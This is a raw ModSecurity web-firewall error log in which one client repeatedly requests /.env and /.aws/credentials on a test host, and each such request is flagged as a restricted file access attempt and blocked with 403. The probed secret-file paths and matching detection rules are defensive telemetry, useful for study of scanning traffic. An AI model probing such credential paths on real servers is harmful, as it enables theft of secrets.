[Wed May 21 18:08:45.469793 2025] [:error] [pid 3303765] [client 35.168.190.204:51286] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36jZML5PFy9d0VqD6U3gAAAAQ&quot;]
[Wed May 21 18:08:46.944843 2025] [:error] [pid 3303764] [client 35.168.190.204:51378] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jsZPBA1CMzjUnInxIgAAAAM&quot;]
[Wed May 21 18:08:46.945145 2025] [:error] [pid 3303764] [client 35.168.190.204:51378] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jsZPBA1CMzjUnInxIgAAAAM&quot;]
[Wed May 21 18:08:46.945324 2025] [:error] [pid 3303764] [client 35.168.190.204:51378] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jsZPBA1CMzjUnInxIgAAAAM&quot;]
[Wed May 21 18:08:47.166514 2025] [:error] [pid 3313760] [client 35.168.190.204:51380] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36j9lLN5ac-xqHIyEVNwAAAAg&quot;]
[Wed May 21 18:08:47.166789 2025] [:error] [pid 3313760] [client 35.168.190.204:51380] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36j9lLN5ac-xqHIyEVNwAAAAg&quot;]
[Wed May 21 18:08:47.166970 2025] [:error] [pid 3313760] [client 35.168.190.204:51380] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36j9lLN5ac-xqHIyEVNwAAAAg&quot;]
[Wed May 21 18:08:47.790661 2025] [:error] [pid 3303770] [client 35.168.190.204:51412] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36j-nlOQrEBb9VzygN4gAAAAU&quot;]
[Wed May 21 18:08:47.790943 2025] [:error] [pid 3303770] [client 35.168.190.204:51412] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36j-nlOQrEBb9VzygN4gAAAAU&quot;]
[Wed May 21 18:08:47.791105 2025] [:error] [pid 3303770] [client 35.168.190.204:51412] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36j-nlOQrEBb9VzygN4gAAAAU&quot;]
[Wed May 21 18:08:47.996285 2025] [:error] [pid 3313764] [client 35.168.190.204:51418] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36j92NxWiruqAlaSeOEgAAAAs&quot;]
[Wed May 21 18:08:47.996618 2025] [:error] [pid 3313764] [client 35.168.190.204:51418] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36j92NxWiruqAlaSeOEgAAAAs&quot;]
[Wed May 21 18:08:47.996794 2025] [:error] [pid 3313764] [client 35.168.190.204:51418] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36j92NxWiruqAlaSeOEgAAAAs&quot;]
[Wed May 21 18:08:48.227729 2025] [:error] [pid 3313761] [client 35.168.190.204:51430] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kFXk9LcWrDgULF0F8QAAAAk&quot;]
[Wed May 21 18:08:48.227998 2025] [:error] [pid 3313761] [client 35.168.190.204:51430] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kFXk9LcWrDgULF0F8QAAAAk&quot;]
[Wed May 21 18:08:48.228158 2025] [:error] [pid 3313761] [client 35.168.190.204:51430] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kFXk9LcWrDgULF0F8QAAAAk&quot;]
[Wed May 21 18:08:48.472935 2025] [:error] [pid 3305646] [client 35.168.190.204:51442] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kPS7Ym5NswhmYPlzUQAAAAY&quot;]
[Wed May 21 18:08:48.473200 2025] [:error] [pid 3305646] [client 35.168.190.204:51442] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kPS7Ym5NswhmYPlzUQAAAAY&quot;]
[Wed May 21 18:08:48.473365 2025] [:error] [pid 3305646] [client 35.168.190.204:51442] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kPS7Ym5NswhmYPlzUQAAAAY&quot;]
[Wed May 21 18:08:48.751778 2025] [:error] [pid 3303763] [client 35.168.190.204:51452] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kPjlULtMw0d6JO4TFQAAAAI&quot;]
[Wed May 21 18:08:48.752060 2025] [:error] [pid 3303763] [client 35.168.190.204:51452] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kPjlULtMw0d6JO4TFQAAAAI&quot;]
[Wed May 21 18:08:48.752245 2025] [:error] [pid 3303763] [client 35.168.190.204:51452] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kPjlULtMw0d6JO4TFQAAAAI&quot;]
[Wed May 21 18:08:48.979926 2025] [:error] [pid 3303762] [client 35.168.190.204:51466] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kPXBINEd05eBV8axbQAAAAE&quot;]
[Wed May 21 18:08:48.981097 2025] [:error] [pid 3303762] [client 35.168.190.204:51466] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kPXBINEd05eBV8axbQAAAAE&quot;]
[Wed May 21 18:08:48.981291 2025] [:error] [pid 3303762] [client 35.168.190.204:51466] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kPXBINEd05eBV8axbQAAAAE&quot;]
[Wed May 21 18:08:49.181816 2025] [:error] [pid 3303764] [client 35.168.190.204:51474] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kcZPBA1CMzjUnInxIwAAAAM&quot;]
[Wed May 21 18:08:49.182095 2025] [:error] [pid 3303764] [client 35.168.190.204:51474] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kcZPBA1CMzjUnInxIwAAAAM&quot;]
[Wed May 21 18:08:49.182295 2025] [:error] [pid 3303764] [client 35.168.190.204:51474] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kcZPBA1CMzjUnInxIwAAAAM&quot;]
[Wed May 21 18:08:49.401753 2025] [:error] [pid 3313760] [client 35.168.190.204:51490] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kdlLN5ac-xqHIyEVOAAAAAg&quot;]
[Wed May 21 18:08:49.402040 2025] [:error] [pid 3313760] [client 35.168.190.204:51490] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kdlLN5ac-xqHIyEVOAAAAAg&quot;]
[Wed May 21 18:08:49.402201 2025] [:error] [pid 3313760] [client 35.168.190.204:51490] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kdlLN5ac-xqHIyEVOAAAAAg&quot;]
[Wed May 21 18:08:49.611056 2025] [:error] [pid 3303770] [client 35.168.190.204:51494] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kenlOQrEBb9VzygN4wAAAAU&quot;]
[Wed May 21 18:08:49.611414 2025] [:error] [pid 3303770] [client 35.168.190.204:51494] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kenlOQrEBb9VzygN4wAAAAU&quot;]
